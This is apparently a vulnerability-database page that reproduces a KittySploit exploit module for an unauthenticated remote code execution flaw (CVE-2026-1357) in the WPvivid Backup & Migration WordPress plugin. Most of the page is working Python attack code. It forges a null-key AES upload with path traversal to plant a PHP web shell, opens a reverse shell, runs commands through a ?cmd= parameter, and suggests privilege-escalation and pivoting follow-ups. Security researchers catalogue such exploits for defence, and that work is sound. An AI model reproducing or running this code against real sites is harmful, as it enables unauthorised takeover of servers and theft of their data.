Lucene search
+L

WPvivid Backup & Migration <= 0.9.123 - Unauthenticated RCE

🗓️ 15 Feb 2026 23:15:40Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in WPvivid Backup & Migration via file upload.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-1357
13 Feb 202609:12
–githubexploit
githubexploit
GithubExploit
Mephisto
21 May 202605:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
29 Aug 202619:38
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
25 Feb 202606:37
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
15 Apr 202605:02
–githubexploit
githubexploit
GithubExploit
Exploit for Authentication Bypass by Spoofing in Booster Booster_For_Woocommerce
16 Feb 202612:12
–githubexploit
githubexploit
GithubExploit
CVEsWorpriss
23 May 202601:52
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
10 Mar 202622:23
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
14 Feb 202605:15
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-1357
10 Feb 202619:38
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import hashlib
import json
from urllib.parse import urljoin

from kittysploit import *
from lib.protocols.http.http_client import Http_client

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
except ImportError:
    AES = None
    pad = None


class Module(Exploit, Http_client):

    __info__ = {
        "name": "WPvivid Backup & Migration <= 0.9.123 - Unauthenticated RCE",
        "description": "CVE-2026-1357 - Unauthenticated arbitrary file upload via cryptographic "
                       "fail-open (null AES key) and path traversal. Uploads PHP to wp-content/uploads/.",
        "author": ["Lucas Montes (NiRoX)", "halilkirazkaya", "KittySploit Team"],
        "cve": ["CVE-2026-1357"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    verify_cmd = OptString("id", "Command to run for RCE verification (e.g. id)", required=False)

    def _generate_encrypted_payload(self, shell_content: bytes, upload_path: str) -> str:
        """Build and encrypt the WPvivid payload (AES-128-CBC, null key + null IV)."""
        if AES is None or pad is None:
            print_error("PyCryptodome required. Install: pip install pycryptodome")
            return ""

        null_key = b"\x00" * 16
        null_iv = b"\x00" * 16
        cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv)

        params = {
            "backup_id": "1",
            "name": upload_path,
            "data": base64.b64encode(shell_content).decode(),
            "offset": 0,
            "file_size": len(shell_content),
            "total_size": len(shell_content),
            "index": 0,
            "md5": hashlib.md5(shell_content).hexdigest(),
            "type": "backup",
            "status": "running",
        }
        plaintext = json.dumps(params).encode()
        encrypted = cipher.encrypt(pad(plaintext, AES.block_size))

        fake_key = b"ABC"
        packet = (
            format(len(fake_key), "03x").encode()
            + fake_key
            + format(len(encrypted), "016x").encode()
            + encrypted
        )
        return base64.b64encode(packet).decode()

    def check(self):
        """Check if target appears to be WordPress and possibly WPvivid."""
        try:
            r = self.http_request(method="GET", path="/", timeout=15)
            if not r or r.status_code != 200:
                return {"vulnerable": False, "reason": "Target not reachable", "confidence": "low"}
            text = (r.text or "").lower()
            if "wp-content" in text or "wordpress" in text:
                return {"vulnerable": True, "reason": "WordPress detected", "confidence": "medium"}
            return {"vulnerable": False, "reason": "WordPress not detected", "confidence": "low"}
        except Exception as e:
            return {"vulnerable": False, "reason": f"Check failed: {str(e)}", "confidence": "low"}

    def run(self):
        """Execute the exploit: upload PHP via CVE-2026-1357, then trigger/verify."""
        if AES is None or pad is None:
            print_error("PyCryptodome required. Install: pip install pycryptodome")
            return False

        try:
            print_status("CVE-2026-1357 - WPvivid Backup & Migration Unauthenticated RCE")
            print_status(f"Target: {self.target}:{self.port}")

            if not self.payload:
                print_error("No payload generated. Set a PHP payload (e.g. payloads/singles/cmd/php/reverse_tcp).")
                return False

            shell_body = str(self.payload).strip()
            shell_content = f"<?php\n{shell_body}\n?>".encode()
            rand_name = self.random_text(24)
            upload_path = f"../uploads/{rand_name}.php"
            shell_filename = f"{rand_name}.php"

            print_status("Generating encrypted payload (AES-128-CBC, null key + null IV)...")
            payload_b64 = self._generate_encrypted_payload(shell_content, upload_path)
            if not payload_b64:
                return False
            print_info(f"Payload size: {len(payload_b64)} bytes (base64)")

            print_status("Sending exploit via wpvivid_action=send_to_site...")
            r = self.http_request(
                method="POST",
                path="/",
                data={
                    "wpvivid_action": "send_to_site",
                    "wpvivid_content": payload_b64,
                },
                timeout=30,
            )
            if not r:
                print_error("Exploit request failed")
                return False
            print_info(f"Response: {r.status_code}")

            shell_path = f"/wp-content/uploads/{shell_filename}"
            if self.ssl:
                base_url = f"https://{self.target}:{self.port}"
            else:
                base_url = f"http://{self.target}:{self.port}"
            shell_url = urljoin(base_url.rstrip("/") + "/", f"wp-content/uploads/{shell_filename}")

            print_status("Triggering shell (check your listener if using reverse_tcp)...")
            trigger = self.http_request(method="GET", path=shell_path, timeout=15)
            if trigger and trigger.status_code == 200:
                print_success("Shell requested successfully")

            if self.verify_cmd:
                verify_url = f"{shell_url}?cmd={self.verify_cmd}"
                print_status(f"Verifying RCE: {verify_url}")
                verify_r = self.http_request(
                    method="GET",
                    path=f"{shell_path}?cmd={self.verify_cmd}",
                    timeout=15,
                )
                if verify_r and verify_r.status_code == 200 and (verify_r.text or "").strip():
                    print_success("RCE verification output:")
                    print(verify_r.text.strip()[:1024])
                else:
                    print_warning("Verification request returned no output (reverse shell may still have been triggered).")

            print_success(f"Shell URL: {shell_url}")
            return True

        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.35115
SSVC
1